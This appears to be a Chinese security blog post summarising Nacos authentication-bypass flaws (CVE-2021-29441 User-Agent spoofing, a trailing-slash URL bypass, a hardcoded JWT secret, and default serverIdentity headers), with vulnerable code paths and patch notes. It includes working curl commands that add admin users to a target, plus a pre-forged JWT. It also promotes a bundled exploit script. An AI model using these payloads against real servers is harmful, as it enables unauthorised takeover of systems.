Nacos在攻防中的权限绕过总结 (附一键利用脚本)
2023-5-18 08:3:59 Author: 李白你好(查看原文) 阅读量:40 收藏

宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好设为星标”,否则可能就看不到了啦!

0x01 前言

本篇文章总结了一下用到的 Nacos 权限绕过漏洞,以及在高版本下可能存在的配置错误导致的权限绕过

Nacos默认情况存在 nacos/nacos 默认用户还有默认不开启鉴权,实际上所有接口都可以任意访问,这里就不赘述了

0x02 本地调试nacos

从github中下载源码 https://github.com/alibaba/nacos

IDEA打开,添加 JVM 参数,指定单机模式,以及设置MainClass:

-Dnacos.standalone=trueMainClass:com.alibaba.nacos.Nacos

指定console模块

中间可能出现报错,java: 程序包com.alibaba.nacos.consistency.entity 不存在 解决办法:mvn compile

参考:https://blog.csdn.net/ibigboy/article/details/119413998

如果是在高版本下(nacos > 2.2.0),开启鉴权后,这样是启动不起来的,根据提示,需要自行手动设置JWT令牌等配置

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

0x03 User-Agent 权限绕过(CVE-2021-29441)

漏洞影响版本:Nacos < 1.4.2

概述:这个是最早的漏洞,只要请求头中的 User-Agent 以 Nacos-Server 开头,就能通过权限校验

漏洞点:com.alibaba.nacos.core.auth.AuthFilter#doFilter

下面以nacos 1.4.0 代码举例

从请求中获取UA,然后,如果UA以Nacos-Server开头则会通过权限校验

POC

UA绕过添加用户

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users?username=admin&password=1qazqweasd' -H 'User-Agent: Nacos-Server'

补丁修复

在1.4.1版本中,添加了

com.alibaba.nacos.auth.common.AuthConfigs#enableUserAgentAuthWhite

这个变量,用于控制是否开启UA认证的方式

不过可以看到,如果配置文件里没有写 nacos.core.auth.enable.userAgentAuthWhite 这个属性,那么enableUserAgentAuthWhite变量的值就会被默认赋值为 true

在1.4.2中配置文件中的值才会被设置为默认false,所以这个漏洞默认影响范围为 nacos < 1.4.2


0x04 Nacos URL 权限绕过

影响范围:Nacos < 1.4.2

概述:在url的末尾添加/即可权限绕过

threedr3am 师傅发现,具体参考 :写的较为详细

https://github.com/alibaba/nacos/issues/4701

POC

测试环境为 nacos 1.4.0

添加用户

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?username=admin&password=1qazqweasd'

补丁修复

https://github.com/alibaba/nacos/commit/d568030823f7559c0ce220898c25292e3f35a1

0x05 JWT secret.key 硬编码权限绕过

影响版本:0.1.0 <= Nacos <= 2.2.0

概述:

用于签名的jwt的keynacos.core.auth.plugin.nacos.token.secret.key配置)

默认值为SecretKey012345678901234567890123456789012345678901234567890123456789

以 nacos 2.2.0 为例:secret.key 在如下位置硬编码

可以在 https://jwt.io 中生成一个有效签名的jwt,注意要声明算法为 HS512,过期时间戳可以调的大一些

生成jwt如下

eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ

POC

实战中较为方便的做法是直接创建一个用户,然后登陆

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=1qazqweasd'

补丁修复

新版中的nacos的nacos.core.auth.plugin.nacos.token.secret.key默认为空,需要手动设置才能正常启动

https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

我意识到这可能会有一些问题,我网上搜了一圈,除了少数人推荐生成随机base64,还是有很多人的解决办法是使用官方的默认key,毕竟程序能跑起来就不错了...

我已将搜集到的secret.key对应生成jwt已集成至文章末尾的exp脚本中,提高一点实战的渗透胜率

0x06 identity key value 硬编码权限绕过

影响版本:Nacos <= 2.2.0

概述:当开启nacos权限认证(nacos.core.auth.enabled=true)后,

配置文件中的

nacos.core.auth.server.identity.keynacos.core.auth.server.identity.valu

参数分别存在默认值serverIdentity和security,当请求头携带该key以及value时,即可绕过权限认证。

以nacos 2.2.0为例:

漏洞代码仍然在 com.alibaba.nacos.core.auth.AuthFilter#doFilter

开启认证后(非默认),且没有开启UA白名单校验(默认),尝试从请求header中获取IdentityKey;

也就是配置文件中的nacos.core.auth.server.identity.key的值,然后再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验

POC

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=admin2&password=1qazqweasd' -H "serverIdentity: security"

补丁修复

和jwt key修复方式一样,在高版本中,如果开启了Nacos认证校验

(nacos.core.auth.enabled=true);

必须填写

nacos.core.auth.server.identity.key and nacos.core.auth.server.identity.value

才可以正常启动,否则报错

这里问题跟jwt硬编码问题一样,解决办法也一模一样,网上也会有解决办法,里面也有硬编码key value,可以提取出来例如官网中的example

百度解决方案搜索第一的key value为 test

以上key、value均已集成至exp脚本

0x07 一键利用脚本

实战一般会添加一个用户,方便交互,所以把以上姿势都集成到一个脚本中
关注公众号回复nacos即可获取工具链接

0x08 往期精彩

对某涩涩漫画的一次渗透

攻防系列之信息收集到权限维持



文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247498481&idx=1&sn=1059985258f1f27984532c8bda305cdd&chksm=c09a89a1f7ed00b7cd17c8e34bc0b2963b41fb114df172f4c5b10d79bfce05c427b4a695f647#rd
如有侵权请联系:admin#unsafe.sh